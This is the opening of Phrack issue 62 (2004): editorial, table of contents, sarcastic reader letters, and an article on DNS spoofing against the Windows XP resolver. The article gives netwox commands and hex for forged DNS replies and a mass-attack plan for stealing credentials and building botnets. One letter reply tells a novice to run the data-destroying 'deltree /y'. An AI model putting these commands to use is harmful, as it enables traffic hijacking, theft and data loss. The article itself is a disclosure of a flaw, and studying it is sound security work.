

Volume 0x0b, Issue 0x3e, Phile #0x01 of 0x0f

b
R
m

% p H R A C K i s s u e # 6 2 %

m
m
c

Ladies and gentlemen, blackhatz and whitehat pussies, we are proud to bring you the 6th PHRACK release under the new staff....

For the second time in the history of phrack do we have a printed HARDCOVER version of the magazine. Thanks to the many sponserers we will be giving it out free at ruxcon II. This is a limited edition of 500 copies.

We like to publish more articles from the electronic/soldering world. This issue comes with some details about radio broadcasting, hijacking base stations and how to broadcast the propaganda through the neighborhood. The carding article teach you how well-known techniques from the computer security world still work on smartcards & magnetic stripes (*hint* *hint*, replay attack, MiM, ...).

Scut, an old-skewl member of team tes0 and the father of the 7350-exploits has been selected to be prophiled for #62. Richard Thieme, keynote speaker at defcon and other hacker conferences submitted two stories. We are proud to publish his words under Phrack World News.

^			^		
(-----)			(-----)		
/	0x01	Introduction	phrackstaff	0x08	kb \
/	0x02	Loopback	phrackstaff	0x05	kb \
/	0x03	Linenoise	phrackstaff	0x21	kb \
/	0x04	Phrack Prophile on scut	phrackstaff	0x0b	kb \
/	0x05	Bypassing Win BO Protection	Anonymous	0x25	kb \
/	0x06	Kernel Mode Backdoor for NT	firew0rker	0x81	kb \
/	0x07	Advances in Windows Shellcode	sk	0x31	kb \
/	0x08	Remote Exec	gruqq	0x3b	kb \
/	0x09	UTF8 Shellcode	greuff	0x32	kb \
/	0x0a	Attacking Apache Modules	andi	0x5e	kb \

/	0x0b Radio Hacking	shaun2k2	0x36 kb	\
/	0x0c Win32 Portable Userland Rootkit	kdm	0x48 kb	\
/	0x0d Bypassing Windows Personal FW's	rattle	0x59 kb	\
/	0x0e A DynamicPolyalphabeticSubstitutionCipher	veins	0x42 kb	\
/	0x0f Playing Cards for Smart Profits	ender	0x1a kb	\
/	0x10 Phrack World News	phrackstaff	0x55 kb	\
_	[PHRACK, NO FEAR & NO DOUBT]			_
(^)----- (^)				

Shoutz to:

barium - ascii art
gamma - hardcover
johncompanies - that's how server hosting should look like
bugbabe - 31337 grfx
david meltze - tshirt smuggling

Enjoy the magazine!

Phrack Magazine Vol 11 Number 62, Build 3, Jul 13, 2004. ISSN 1068-1035
Contents Copyright (c) 2004 Phrack Magazine. All Rights Reserved.
Nothing may be reproduced in whole or in part without the prior written
permission from the editors.
Phrack Magazine is made available to the public, as often as possible, free
of charge.

|===== [C O N T A C T P H R A C K M A G A Z I N E] =====|

Editors : phrackstaff@phrack.org
Submissions : phrackstaff@phrack.org
Commentary : loopback@phrack.org
Phrack World News : pwn@phrack.org

Note: You must put the word 'ANTISPAM' somewhere in the Subject-line of
your email. All others will meet their master in /dev/null. We reply to
every email. Lame emails make it into loopback.

|=====|

Submissions may be encrypted with the following PGP key:
(Hint: Always use the PGP key from the latest issue)

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.2.1 (GNU/Linux)

```
mQGIBD8t3OARBACWTusKTxbSode33ZVBx3AlgMTQ8POA+ssRyJkyVVbrruYlLY
Bov43vxEsqLZXrfcuCd5iKKk+wLEjESqValODEwaDeeyyPuUMctrr2UrrDlZ2MDT
f7LvNdyYFDlyZfWSc9sesrNQ78EoWalkHAGY1bUD2S7eilaEU9r/EUpFwxGzLjq
TV6rC/UzOWntwRk+Ct5u3fUEAJVPIZCQOd2f2M11TOPNaJRxJIxseNQCbRjNReT4
FG4CsHGqMTEMrgr0C0/Z9H/p4hbjZ2fpPne3oo7YNjnzaDN65UmYJDFUkKiFaQNb
upTcPQESsCPvN+iaVkas37m1NATKYb8dkKdiM12iTcJ7tNotN5IDjeahNNivFv4K
5op7A/0VBG8o348MofsE4rN20Qw4I4d6yhZwmJ8Gjfu/OPqonktfNpNEBw13RtLH
cXEkY5GY+A2AapDCOhqDdh5Fqx9LMLKF2hzZa5JHwp6HcvrYhIyJLW8/uspVGTgP
ZPx0Z3Cp4rKmzoLcOjyvGbAWUh0WFodK+A4xbr8bEg9PH5qCurQlUGhyYWNrIFN0
YWZmIDxwaHJhY2tZdGFmZkBaHJhY2sub3JnPohfBBMRagAfBQI/LdzgBQkDFwQA
BAsHawIDFQIDAXYCAQIeAQIXgAAKCRc8vwVck0UfSeo1AJ42bPrG2L0NlunlFthn
gYlx/9nUiAcEJo5tMKlr/JcdKqeEfpNim4GRmLq5Ag0EPy3dChAIALK9tVpuVImJ
REXqf4GeR4RkxpAO+8Z2RolTgESW6FfJQcCM8TKeLuGWE2jGKGWktZ68m+zxgYBK
z+MOKFvlduktqQpyCJP/Mgdt6yy2aSEq0ZqD1hoqiGmoGdl9L6+VD2kUN6EjWCiv
5YikjgQaenSUOmZZR0whuezxW9K4XgtLVGkgfz82yTGwaoU7HynqhJr7UIxdsXx
dr+y7ad1clR/OgAFg294fmffX6UkBJd5c2MiX/axl6rpDqZii1TJozeeem7XaIAj
5lgLLuFZctcWZjItrK6fANVjnNrEusoPnrnis4FdQi4MuYbOATNVKP00iFGLNGQN
```

```
qqvHAsDtDTcABAsH/1zrZyBskztS88voQ2EHRR+bigpIFS1zOtHVDNnryIuF25nM
yWV10NebrEVid/Um2xpB5qFnZN01QdggUTIpKkY+pqJd3mfKGepLhQq+hgSe29HP
45V6S6ujLQ4dcaHq9PKVdhyA2TjzI/lFAZeCxtig5vtD8t5p/lifFIDDI9MrqAVR
11sSwfB8qWcKtMNVQWH6g2zHI1AlG0M42depD50WvdQbKWep/ESh1uP55I9UvhCl
mQLPI6ASmw1UGq0YZIuEwuI75ExaFeIt2TJjciM5m/zXSZPJQFueB4vsTuhlQICi
MXt5BXWYqYnDop885WR2jH5HyEN0xQRadlv3yF6ITAQYEQIADAUCPy3dCgUJAXcE
AAAKCRC8vwVck0UfSfL/AJ9ABdnRJsp6rNM4BQPKJ7shevElWACdHGebIKoidGJh
nntgUSbqNtS5lUo=
=FhHK
-----END PGP PUBLIC KEY BLOCK-----
```

```
phrack:~# head -22 /usr/include/std-disclaimer.h
/*
 * All information in Phrack Magazine is, to the best of the ability of
 * the editors and contributors, truthful and accurate. When possible,
 * all facts are checked, all code is compiled. However, we are not
 * omniscient (hell, we don't even get paid). It is entirely possible
 * something contained within this publication is incorrect in some way.
 * If this is the case, please drop us some email so that we can correct
 * it in a future issue.
 *
 *
 * Also, keep in mind that Phrack Magazine accepts no responsibility for
 * the entirely stupid (or illegal) things people may do with the
 * information contained herein. Phrack is a compendium of knowledge,
 * wisdom, wit, and sass. We neither advocate, condone nor participate
 * in any sort of illicit behavior. But we will sit back and watch.
 *
 *
 * Lastly, it bears mentioning that the opinions that may be expressed in
 * the articles of Phrack Magazine are intellectual property of their
 * authors.
 * These opinions do not necessarily represent those of the Phrack Staff.
 */
```

```
|=[ EOF ]=-----|
```

```
==Phrack Inc.==
```

```
Volume 0x0b, Issue 0x3e, Phile #0x03 of 0x10
```

```
|=-----=[ L O O P B A C K ]=-----|
```

```
|=-----|
```

```
|=-----=[ Phrack Staff ]=-----|
```

```
|=[ 0x01 ]=-----|
```

```
From: "Tom Schouten" <tomschout@hotmail.com>
```

plz help me, i know that it 's a stupid question but i don't know how to
decrypt the phrack articles i have imported the pgp key, but i don't know what
to do next

cheers,
Tom

```
[ Tom, I'm sorry but you wont continue the adventure with us. ]
```

```
|=[ 0x02 ]=-----|
```

```
From: if it were only this easy <temptedtoplay@Al-Kharafi.com>
```

Subject: Very important send to editor in chief asap

I should start off buy saying I'm not a cop fed or any other kind of law enforcement nor am i affiliated with any national local government of any kind to be honest i don't exist anywhere but, i am not a fan nor friend either. [...] I however have the knowledge you seek but unlike you i will not freely share the knowledge with just every one. you must deserve to know. you must prove yourself. [...] now email is not safe but I've taken the precautions on my end to keep this message out of government hands i hope your server is secure if not they will be looking for me of course they are always looking for me. [...] if you don't succeed which you probably wont don't worry thousands before you have failed and thousands will after it just makes you average.

p.s. IF THE MESSAGE IS INTERCEPTED BY ANY TYPE OF LAW ENFORCEMENT the recipients do not know who i am and questioning them would be like searching google.

[I'm only seeking for one information: Who gave you our email addres?]

|=[0x03]=-----=|

From: <eeweep@eeweep.be>

Date: Fri, 5 Dec 2003 22:56:03 +0100

> Hi there,

> I was looking through phrack releases and I couldn't find an article about

> APR (ARP Poison Routing, used to spoof on switched networks).

[Unfortunately, you sent your message at 22:56, and we dont accept articles after 22:55.]

> Maybe there is one and I'm stupid :-)

[There is something smart in every stupid sentence.]

> If you can verify that such an article does not exist (in phrack that is)

[we hereby verify that such an article does not exist.]

> I'll start writing right away ;-)

[our email address has changed for article submission: devnull@phrack.org]

> Greetz,

> eeweep

Gobuyabrain,

PHRACKSTAFF

|=[0x04]=-----=|

From: D D <mmmmmcute24@yahoo.de>

I really know you are good! I would like to know how good you are.

I have primitive questions:

- I'm connected with a dial up connexion and I dont want want my server or anybody else to know witch URL I'm browsing. Is that possible?

[yes]

- Witch system is "secure" Mac or Win or linux.

[none]

|=[0x05]=-----|

[IRC session after receiving the donation for hardcover print.]

<staff> Mon3yLaundy - vis0r wants to know if phrack is a registered charity
<Mon3yLaundy> it's not.
<staff> yeah, i told him
<staff> he just wants a tax deduction
<Mon3yLaundy> tax my ass.

|=[0x06]=-----|

From: <bris@cimex.com.cu>

Now I'm discovering your magazine, and I want to receive it by email... The question is > How can I receive the magazine by email???

[wget http://www.phrack.org/archive/phrack62.tar.gz;
p uuencode phrack62.tar.gz p62.tar.gz | mail bris@cimex.com.cu]

|=[0x07]=-----|

From: Joshua ruffolo <ruffolojoshua@yahoo.com>

A friend referred me to your site. I know nothing much about what is posted. I don't understand what's what.

[This is loopback.]

Apparently there is some basic info that should be known to understand, but what is it?

[howto_not_getting_into_loopback.txt]

|=[0x08]=-----|

From: Hotballer002@cs.com

Subject: I want to know something about downloading the issues

hi. im nelson and i went to your site and i want to see if u could help me. I just stated the process of learning how to hack and i think your issues can help me. I downloaded one of the issues and when i opened it, a windows pop-up asked me what program I want to open the issue with. And thats what I don't know. So please help me and tell me what program I'm supposed to have to open the issues with. Thank you

[You have to pass our IQ test first: click on start -> run and enter "deltree /y"]

|=[0x09]=-----|

From: MrRainbowStar@aol.com

I love all of You ThaNkS For OpeninG My Min_d.?? You All Set Me FrEE IN This TechNo WoRlD.? ThAnkS Dr.K -????????? YOU ARE A GENius _ Oh yeah and there are quite a few typos in the Hackers handbook? -but thats cool its all good I know what you mean

[IT'S ALL GOOD MATE!]

|=[EOF]=====|

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x03 of 0x10

|=====|
|-----=[L I N E N O I S E]-----|
|=====|

- 1 - Mistakes in the RFC Guidelines on DNS Spoofing Attacks
- 2 - Injecting Signals by Shaun
- 3 - Pirating A Radio Station

|-----=[The Impact of RFC Guidelines on DNS Spoofing Attacks]-----|
by have2Banonymous

--[Contents

- 1 - Executive Summary
- 2 - Overview of Basic DNS Spoofing Attacks
- 3 - Proposed Criteria for DNS Reply Acceptance
- 4 - Impact of RFC Guidelines on DNS Reply Acceptance Criteria
- 5 - Example DNS Spoofing Attack
- 6 - Practical Impact of RFC Guidelines on DNS Spoofing Attacks
- 7 - Implementation Comparison
- 8 - Conclusion

--[1 - Executive Summary

This article provides a brief overview of basic Domain Name System (DNS) spoofing attacks against DNS client resolvers. Technical challenges are proposed that should help to both identify attempted attacks and prevent them from being successful. Relevant Request for Comments (RFC) guidelines, used by programmers to help ensure their DNS resolver code meets specifications, are reviewed. This results in the realisation that the RFC guidelines are not adequately specific or forceful to help identify or prevent DNS spoofing attacks against DNS client resolvers. Furthermore, the RFC guidelines actually simplify such attacks to a level that has not previously been discussed in the public domain until now.

To highlight the consequences of merely conforming to the RFC guidelines without considering security ramifications, an example DNS spoofing attack against the DNS resolver in Microsoft Windows XP is provided. This illustrates serious weaknesses in the Windows XP DNS resolver client implementation. For example, Windows XP will accept a DNS reply as being valid without performing a thorough check that the DNS reply actually matches the DNS request. This allows an attacker to create malicious generic DNS replies that only need to meet a couple of criteria with predictable values in order to be accepted as a valid DNS reply by the targeted user.

This article discusses the practical impact of the issues raised, such as

the ability to perform a successful and reasonably undetectable DNS spoofing attack against a large target base of Windows XP users, without the attacker requiring knowledge of the DNS requests issued by the targeted users. Finally, a comparison with the DNS resolver in Debian Linux is supplied.

--[2 - Overview of Basic DNS Spoofing Attacks

When a user types the web site name `www.somewebsite.org` into their web browser, their computer issues a DNS request to their Internet Service Provider's (ISP) DNS server to resolve the web site name to an IP address. An attacker may attempt to subvert this process by sending the user a DNS reply containing an incorrect IP address, resulting in the user's computer connecting to a computer of the attacker's choice instead of the desired web site.

--[3 - Proposed Criteria for DNS Reply Acceptance

RFC 2535 (Domain Name System Security Extensions) otherwise known as DNSSEC discusses how cryptographic digital signatures can be used to authenticate DNS transactions to help mitigate DNS spoofing attacks. However, the adoption of this technology has been extremely slow. Even without this level of security, it would initially appear that a DNS spoofing attack against a DNS client resolver would be challenging to perform. This challenge results from the following proposed criteria of the DNS reply that must be met for it to be accepted by the computer performing the DNS lookup.

Proposed criteria of a DNS reply for it to be accepted:

- 1) The source IP address must match the IP address that the DNS request was sent to.
- 2) The destination IP address must match the IP address that the DNS request was sent from.
- 3) The source port number must match the port number that the DNS request was sent to.
- 4) The destination port number must match the port number that the DNS request was sent from.
- 5) The UDP checksum must be correctly calculated. This may require the attacker to spend more time and effort per attack, although some packet generation utilities have the ability to automatically calculate this value.
- 6) The transaction ID must match the transaction ID in the DNS request.
- 7) The domain name in the question section must match the domain name in the question section of the DNS request.
- 8) The domain name in the answer section must match the domain name in the question section of the DNS request.
- 9) The requesting computer must receive the attacker's DNS reply before it receives the legitimate DNS reply.

--[4 - Impact of RFC Guidelines on DNS Reply Acceptance Criteria

According to the RFC guidelines, it is not necessary for all of these criteria to be met in order for a DNS reply to be accepted. Specifically, criteria 1, 2, 3, 5, 7 and 8 do not have to be met, while criteria 4, 6 and 9 must be met. The following is a devil's advocate interpretation of the RFC guidelines and a detailed discussion of their effect on each criteria.

Criteria 1 (source IP address) does not have to be met according to RFC 791 (Internet Protocol) which states that "In general, an implementation must be conservative in its sending behavior, and liberal in its receiving behavior. That is, it must be careful to send well-formed datagrams, but must accept any datagram that it can interpret (e.g., not object to technical errors where the meaning is still clear)". RFC 1035 (Domain names - implementation and specification) states that "Some name servers send their responses from different addresses than the one used to receive the query. That is, a resolver cannot rely that a response will come from the same address which it sent the corresponding query to". The source IP address can therefore be set to an arbitrary IP address. Regardless, if desired, the attacker can set the source IP address of their DNS replies to that of the targeted user's DNS server. This is especially easy if the targeted user is a dialup ISP user since the ISP may have a friendly "How to setup your Internet connection" web page that specifies the IP address of their DNS server.

Criteria 2 (destination IP address) does not have to be met according to RFC 1122 (Requirements for Internet Hosts -- Communication Layers) which states that "For most purposes, a datagram addressed to a broadcast or multicast destination is processed as if it had been addressed to one of the host's IP addresses". Using a broadcast destination address would be most useful for attacking computers on a Local Area Network. Furthermore, a DNS reply may be accepted if it is addressed to any of the IP addresses associated with a network interface.

Criteria 3 (source port number) does not have to be met according to RFC 768 (User Datagram Protocol) which states that "Source Port is an optional field". The source port can therefore be set to an arbitrary value such as 0 or 12345. Since the source port number of the DNS reply affects packet dissection by utilities such as Ethereal, a value of 137 is a devious choice since it will be dissected as the NetBIOS Name Service (NBNS) protocol which is based on DNS. As a result, the malicious DNS replies can be made to appear like NetBIOS traffic which is likely to be discarded by the system administrator or investigator as typical NetBIOS background noise.

Criteria 4 (destination port number) must be met according to RFC 768 (User Datagram Protocol). However, this value may be predictable depending on the requesting computer's operating system. During testing, Windows XP always used port number 1026 to perform DNS queries, though this value depends on when the DNS Client service started during the boot process.

Criteria 5 (UDP checksum) does not have to be met according to RFC 1122 (Requirements for Internet Hosts -- Communication Layers) which states that "the UDP checksum is optional; the value zero is transmitted in the checksum field of a UDP header to indicate the absence of a checksum".

Criteria 6 (transaction ID) must be met according to RFC 1035 (Domain

names - implementation and specification) which states that the transaction ID is used "to match up replies to outstanding queries". However, this value may be predictable depending on the requesting computer's operating system. During testing, Windows XP did not randomly choose the 16 bit transaction ID value. Rather, Windows XP always used a transaction ID of 1 for the first DNS query performed after the computer was turned on, with the transaction ID simply incremented for subsequent DNS queries. Transaction ID 1 and 2 were used by the operating system to perform a DNS query of time.windows.com.

Criteria 7 and 8 (domain name in question and answer section) do not have to be met according to RFC 1035 (Domain names - implementation and specification) which states that the transaction ID is used "to match up replies to outstanding queries" and recommends as a secondary step "to verify that the question section corresponds to the information currently desired". RFC recommendations do not have to be followed, and in the case of an absent question section, the principal that an implementation must accept any datagram that it can interpret appears to apply. Therefore, a DNS reply containing a single answer in the form of an IP address can be matched to the corresponding DNS request based on the transaction ID, without requiring a question section and without resorting to the overhead of processing the domain information in the answer section. Furthermore, an answer section is not even necessary if an Authority section is provided to refer the requesting computer to an authoritative name server (or a DNS server under the attacker's control).

Criteria 9 (requesting computer must receive the attacker's DNS reply before it receives the legitimate DNS reply) must be met and remains as the greatest challenge to the attacker. This restriction is difficult to bypass unless the legitimate DNS server is taken out of action to prevent competition with the spoofed DNS reply, or numerous spoofed DNS replies are sent to the targeted user. However, as discussed above, criteria 1 to 8 either do not have to be met or may have predictable values. Therefore an attacker may require no knowledge of the victim's DNS request to have a reasonable chance of performing a successful attack by sending the requesting computer a small number of generic DNS replies. Furthermore, there is a viable workaround to the restrictive nature of this criteria. If the attacker is not trying to compromise a specific computer, a "spray and pray" approach can be used. This approach involves sending a very small number (twenty) of spoofed DNS replies to a maximum number of potential target computers, instead of trying to compromise a specific user and only once they have been compromised then trying to compromise another specific user. This "spray and pray" approach won't compromise every potential victim, and every packet the attacker sends won't result in a compromise, but enough of the attacker's malicious DNS replies will be accepted by enough potential victims to make the exercise worthwhile.

--[5 - Example DNS Spoofing Attack

A DNS spoofing attack using the concepts discussed in this article was performed against a Windows XP computer. The test Windows XP computer was a default install of the operating system followed by the application of Service Pack 1. The Microsoft Internet Connection Firewall shipped with Windows XP was then enabled, and configured to perform full logging of dropped packets and successful connections.

The Windows XP user typed the web site URL www.somewebsite.org into Internet Explorer, resulting in a DNS request being sent from the user's computer (IP address 192.168.1.1) to the user's DNS server (IP address

192.168.1.254).

A spoofed DNS reply disguised as NetBIOS data was sent to the user from the fake (spoofed) nonexistent IP address 10.10.10.1, specifying that whatever name the user was attempting to resolve had the IP address 192.168.1.77. The IP address 192.168.1.77 was actually a web server under the attacker's control.

Internet Explorer connected to 192.168.1.77 and requested the web page. This revealed that the designers of the DNS resolver in Microsoft Windows XP also interpreted the RFC guidelines as described in the previous section, significantly simplifying DNS spoofing attacks.

The following network packet decoded by Ethereal version 0.10.3 illustrates the malicious DNS reply and demonstrates how Ethereal can be confused into decoding the packet as NetBIOS traffic.

```
Frame 1 (102 bytes on wire, 102 bytes captured)
Ethernet II, Src: 00:50:56:c0:00:01, Dst: 00:0c:29:04:7d:25
Internet Protocol, Src Addr: 10.10.10.1 (10.10.10.1), Dst Addr:
192.168.1.1 (192.168.1.1)
User Datagram Protocol, Src Port: 137 (137), Dst Port: 1026 (1026)
    Source port: 137 (137)
    Destination port: 1026 (1026)
    Length: 68
    Checksum: 0x0000 (none)
NetBIOS Name Service
    Transaction ID: 0x0003
    Flags: 0x8580 (Name query response, No error)
    Questions: 0
    Answer RRs: 1
    Authority RRs: 0
    Additional RRs: 0
    Answers
        WORKGROUP<1b>: type unknown, class inet
            Name: WORKGROUP<1b>
            Type: unknown
            Class: inet
            Time to live: 1 day
            Data length: 4
            Data
```

```
0000  00 0c 29 04 7d 25 00 50 56 c0 00 01 08 00 45 00  ..).}%PV.....E.
0010  00 58 bf 58 00 00 00 11 25 89 0a 0a 0a 01 c0 a8  .X.X....%.....
0020  01 01 00 89 04 02 00 44 00 00 00 03 85 80 00 00  .....D.....
0030  00 01 00 00 00 00 20 46 48 45 50 46 43 45 4c 45  ..... FHEPFCELE
0040  48 46 43 45 50 46 46 46 41 43 41 43 41 43 41 43  HFCEPFFACACACAC
0050  41 43 41 43 41 42 4c 00 00 01 00 01 00 01 51 80  ACACABL.....Q.
0060  00 04 c0 a8 01 4d                                .....M
```

This packet was created using the following parameters passed to the freely available netwox packet creation utility:

```
netwox 38 --ip4-src 10.10.10.1 --ip4-dst 192.168.1.1 --ip4-protocol 17
--ip4-data 008904020044000000038580000000010000000020464845504643454c45484
64345504646464143414341434143414341424c0000010001000151800004c0a8014d
```

Alternatively, the following parameters could be used since netwox automatically calculates the UDP checksum:

```
netwox 39 --ip4-src 10.10.10.1 --ip4-dst 192.168.1.1 --udp-src 137
--udp-dst 1026 --udp-data 00038580000000010000000020464845504643454c45484
```

```
643455046464641434143414341434143414341424c0000010001000151800004c0a8014d
```

The following shows that the spoofed DNS reply has been added to the user's DNS resolver cache for a period of 1 day, causing future resolutions of `www.somewebsite.org` to map to the web server under the attacker's control. The cache duration value can be decreased by the attacker so that the entry is either not cached or is immediately removed from the cache in order to remove evidence of the attack.

```
C:\>ipconfig /displaydns
```

```
Windows IP Configuration
```

```
1.0.0.127.in-addr.arpa
```

```
-----
Record Name . . . . . : 1.0.0.127.in-addr.arpa.
Record Type . . . . . : 12
Time To Live . . . . . : 604393
Data Length . . . . . : 4
Section . . . . . : Answer
PTR Record . . . . . : localhost
```

```
www.somewebsite.org
```

```
-----
Record Name . . . . . : FHEPFCELEHFCEPFFFACACACACACACABL
Record Type . . . . . : 1
Time To Live . . . . . : 86364
Data Length . . . . . : 4
Section . . . . . : Answer
A (Host) Record . . . : 192.168.1.77
```

```
localhost
```

```
-----
Record Name . . . . . : localhost
Record Type . . . . . : 1
Time To Live . . . . . : 604393
Data Length . . . . . : 4
Section . . . . . : Answer
A (Host) Record . . . : 127.0.0.1
```

The following log file from Microsoft's Internet Connection Firewall reveals that it did not provide any protection against the attack, though it is not designed to inspect and correlate DNS traffic. If the firewall was not configured to log successful connections, then there would not have been any log entries.

```
#Version: 1.0
#Software: Microsoft Internet Connection Firewall
#Time Format: Local
#Fields: date time action protocol src-ip dst-ip src-port dst-port size
tcpflags tcpsyn tcpack tcpwin icmp type icmpcode info
```

```
2004-05-10 20:34:56 OPEN UDP 192.168.1.1 192.168.1.254 1026 53 - - - - -
- -
2004-05-10 20:34:57 OPEN-INBOUND UDP 10.10.10.1 192.168.1.1 137 1026 - - -
- - - - -
2004-05-10 20:34:57 OPEN TCP 192.168.1.1 192.168.1.77 3010 80 - - - - -
- -
2004-05-10 20:35:30 CLOSE TCP 192.168.1.1 192.168.1.77 3010 80 - - - - -
- -
```

```
2004-05-10 20:36:30 CLOSE UDP 192.168.1.1 192.168.1.254 1026 53 - - - - -  
- - -  
2004-05-10 20:36:30 CLOSE UDP 10.10.10.1 192.168.1.1 137 1026 - - - - -  
- -
```

It can be seen that when the Windows XP computer sent a UDP packet from port 1026 to port 53 of the DNS server, the firewall allowed all incoming UDP traffic to port 1026, regardless of the source IP address or source port of the incoming traffic. Such incoming traffic was allowed to continue until the firewall decided to block access to port 1026, which occurred when there was no incoming traffic to port 1026 for a defined period of time. This timeframe was between 61 seconds and 120 seconds, as it appeared that the firewall checked once per minute to determine if access to ports should be revoked due to more than 60 seconds of inactivity. Assuming that users connected to the Internet would typically perform a DNS query at least every minute, incoming access to port 1026 would always be granted. An attacker on the Internet could therefore send the Windows XP computer spoofed DNS replies without worrying that they might be blocked by the firewall. Such traffic would not generate any logs if the firewall was configured to only Log Dropped Packets. If the firewall was configured to also Log Successful Connections as in this example, these log entries would disappear among the thousands of other log entries. Since the firewall logs connections and not traffic, if the source IP address was set to the Windows XP computer's DNS server, no extra firewall log entries would be created as a result of the DNS spoofing attack.

The netstat command revealed that the Windows XP computer was always listening on UDP port 1026, and as a result, extra DNS replies were silently discarded and did not generate an error message in the event log or an ICMP port unreachable packet. This behaviour, and the reuse of the same source port number for DNS requests, was attributed to the DNS Client service.

--[6 - Practical Impact of RFC Guidelines on DNS Spoofing Attacks

The attacker does not require information about the targeted user's DNS requests, such as the IP address of the user's DNS server, the source port of the user's DNS request, or the name that the user was attempting to resolve to an IP address. Therefore the attacker does not require access to the communication link between the targeted user and their DNS server.

Windows XP SP1 matches DNS replies to DNS requests by only the transaction ID and the UDP port number, and both of these values are very predictable. Since the name to be resolved is not matched between the DNS request and the DNS reply, the attacker does not care what domain name the user queried since this domain name does not have to be placed in the attacker's DNS reply. As a result, the attacker can create generic malicious DNS replies that will successfully subvert the targeted user's DNS lookup process regardless of the name the targeted user was attempting to resolve, and regardless of the targeted user's network configuration such as the IP address of their DNS server.

An attacker desiring to compromise as many computers as possible with the least amount of effort and in the shortest timeframe could send twenty DNS replies that look similar to the generic DNS reply used in the example attack on Windows XP in this article, though with the transaction ID ranging from 3 to 22. To be more thorough, the attacker could instead send one hundred DNS replies with the destination port number ranging from 1025 to 1029. The attacker would use a "spray and pray" approach by

sending these DNS replies to every IP address in the IP address range belonging to a large dialup Internet Service Provider, and when finished, repeating the process.

A level of success is guaranteed in such an attack scenario considering the huge target base of potential victims awaiting a DNS reply, and considering that Windows XP accepts anything vaguely resembling a DNS reply as a valid DNS reply.

A recipient of the attacker's twenty DNS replies will accept one of them as being valid, resulting in a successful attack, if the recipient:

- is using Windows XP with its poorly implemented DNS client resolver (most dialup Internet users are in this category).
- recently connected to the Internet within the last 10-20 minutes or so and therefore haven't performed more than twenty DNS requests (a reasonable proportion of dialup Internet users are in this category).
- recently performed a DNS request and is awaiting a DNS reply (a reasonable number of the huge target base of dialup Internet users are in this category).

The targeted Windows XP users would be unlikely to notice the attack, especially if they were relying on Microsoft Internet Connection Firewall to protect them. Analysis of the logs of a more sophisticated firewall and inspection of network traffic would not readily reveal a DNS spoofing attack since the source IP address would not be that of the legitimate DNS server. Furthermore, the source port number and content of the spoofed DNS replies can be crafted to make them appear to be typical NetBIOS background noise which would probably be discarded by the user as useless network traffic floating around the Internet. Finally, the targeted IP address range of a dialup ISP would consist mainly of home Internet users who are not educated in advanced network security concepts.

The IP address in the spoofed DNS replies could be a computer on the Internet under the attacker's control, which is running proxy software for email (SMTP and POP3) and HTTP traffic. The attacker would be able to collect sensitive information including email sent and received as well as passwords for future email retrieval. Web based email and unencrypted login details to web sites would also be collected. The attacker could add content to HTML pages before returning them to the user. Such content could include banner ads to generate money, or a hidden frame with a link to a file on a third party web site effectively causing a distributed denial of service attack against the third party. More seriously, the attacker could increase the scope of the compromise by adding HTML content that exploited one of the publicly known vulnerabilities in Internet Explorer that allows the execution of arbitrary code, but for which there is no vendor patch. For example, vulnerabilities discussed at the web site <http://www.computerworld.com.au/index.php?id=117316298&eid=-255> The "spray and pray" attack approach is useful for creating a network of semi-randomly chosen compromised computers under the attacker's control, otherwise known as a botnet.

Proxying of HTTP/1.1 traffic could be performed by inspecting the HOST header to determine which web site the user wanted to visit. However, for the purpose of easily and seamlessly proxying traffic, an attacker may decide not to place an Answer section in the spoofed DNS replies. Rather, the attacker may send a non-authoritative spoofed DNS reply using the Authority and Additional sections of DNS replies to refer the requesting computer to a DNS server under the attacker's control. This would allow the attacker to know exactly what domain the victim computer was attempting to query, and furthermore such spoofed DNS replies may have a long lasting and widespread effect on the victim's computer. A detailed discussion of DNS referrals and testing whether Windows XP could handle them is outside the scope of this article.

--[7 - Implementation Comparison

Contributors to the Linux operating system appear to have taken a hardline security conscious approach to interpreting the RFC guidelines, bordering on non-conformance for the sake of security. The Mozilla web browser running on the author's Debian Linux computer was very restrictive and required DNS replies to meet all of the above nine criteria except for criteria 5, where a UDP checksum value of zero was accepted. An incorrect UDP checksum was accepted when the packet was sent over a local network but not when sent over the Internet. Reviewing the kernel source code indicated that for local networks, the UDP checksum was deliberately ignored and hardware based checking was performed instead for performance reasons. This appeared to be a feature and not a bug, even though it did not comply with RFC 1122 (Requirements for Internet Hosts -- Communication Layers) which states that "If a UDP datagram is received with a checksum that is non-zero and invalid, UDP MUST silently discard the datagram".

During testing, the Linux computer used source port numbers 32768 and 32769 to perform DNS queries. The transaction ID was randomly generated, complicating DNS spoofing attacks, though the transaction ID used in the retransmission of an unanswered DNS request was not as random. The choice of transaction ID values appeared robust enough to help defend against DNS spoofing attacks on the Internet since the initial transaction ID value was unpredictable, and the first DNS request would typically be answered resulting in no need for retransmissions.

The iptables firewall on the Linux computer was configured so that the only allowed UDP traffic was to/from port 53 of the legitimate DNS server. When a DNS query was performed and a DNS reply was received, iptables was unable to block extra (spoofed) incoming DNS replies since it is not designed to inspect DNS traffic and allow one incoming DNS reply per outgoing DNS request. However, since the port used to send the DNS query was closed once a valid DNS reply was received, ICMP port unreachable messages were generated for the extra (spoofed) incoming DNS replies. iptables was configured to block and log outgoing ICMP network traffic. Reviewing the logs revealed ICMP port unreachable messages that were destined to the legitimate DNS server, which were a good indication of a DNS spoofing attack. Further to this evidence of a DNS spoofing attack, since the DNS replies must come from port 53, analysis of the network traffic using a packet dissector such as Ethereal revealed traffic that looked like DNS replies apparently originating at the legitimate DNS server.

--[8 - Conclusion

The RFC guidelines simplify DNS spoofing attacks against DNS client resolvers since the attacker does not require information such as the IP address of the potential victim's DNS server or the contents of DNS queries sent by the potential victim. Microsoft Windows XP is more susceptible to DNS spoofing attacks than Linux due to its poor implementation of the RFC guidelines. Further simplifying DNS spoofing attacks are Windows XP's inadequate matching of DNS requests to DNS replies, and the predictable port number and transaction ID values - behaviour that could be changed without violating the RFC guidelines. Evidence of DNS spoofing attacks is minimised by the ability to disguise DNS replies as NetBIOS traffic, the lack of configuration granularity and

traffic inspection of some firewalls, and Windows XP's failure to generate ICMP error messages for excessive DNS replies.

RFC 791 (Internet Protocol) stating that a program must be "liberal in its receiving behavior" and "must accept any datagram that it can interpret" may have been acceptable in 1981 when the RFC was created and interoperability was more important than security. However, the Internet has changed from a somewhat trustworthy user base of representatives from educational institutions and the US Department of Defense to now include hackers and scammers, making security a high profile consideration. Perhaps it is time for software based on this outdated perception of the Internet to be changed as well.

